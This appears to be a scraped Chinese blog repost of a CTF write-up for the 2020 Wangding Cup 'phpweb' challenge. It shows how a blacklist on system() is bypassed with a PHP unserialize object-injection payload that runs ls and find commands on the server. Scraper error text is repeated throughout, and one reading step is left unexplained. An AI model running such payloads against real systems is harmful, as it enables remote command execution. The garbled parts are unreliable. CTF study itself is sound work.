[网鼎杯 2020 朱雀组]phpweb

02-27 阅读 0评论

先发现他的页面一直刷新,时间也一直刷新,有点眼熟

[网鼎杯 2020 朱雀组]phpweb,[网鼎杯 2020 朱雀组]phpweb,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,方法,第1张
(图片来源网络,侵删)

先抓包看看,发现post参数,可能是前面传的是函数,后面是函数的参数

[网鼎杯 2020 朱雀组]phpweb

试试其他函数比如MD5()确实执行了

[网鼎杯 2020 朱雀组]phpweb

但是在尝试system的时候发现hacking,说明被过滤了,试了passthru()同样也是

[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb,[网鼎杯 2020 朱雀组]phpweb,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,方法,第5张
(图片来源网络,侵删)

这里我们需要查看页面源代码,进行代码审计 在这里我们可以使用多种函数进行查看 例如:file_get_contents、highlight_file() ,show_source()等

file_get_contents(index.php):读取文件的内容

其他师傅通过func=file_get_contents&p=index.php得到源码 可我却没有,我也不清楚了

[网鼎杯 2020 朱雀组]phpweb

 

代码审计,本关的黑名单还是挺全面的。

方法一:

[网鼎杯 2020 朱雀组]phpweb,[网鼎杯 2020 朱雀组]phpweb,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,方法,第7张
(图片来源网络,侵删)

但咱们可以使用 反序列化 (出题人的本意也应该是这样)

 

构造payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

并没有发现有用的

[网鼎杯 2020 朱雀组]phpweb

查看根目录也是没有

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

[网鼎杯 2020 朱雀组]phpweb

发现还是没有 falg的信息

system(“find / -name flag”):查找所有文件名匹配flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

[网鼎杯 2020 朱雀组]phpweb


免责声明
本网站所收集的部分公开资料来源于AI生成和互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

发表评论

快捷回复: 表情:
评论列表 (暂无评论,人围观)

还没有评论,来说两句吧...

目录[+]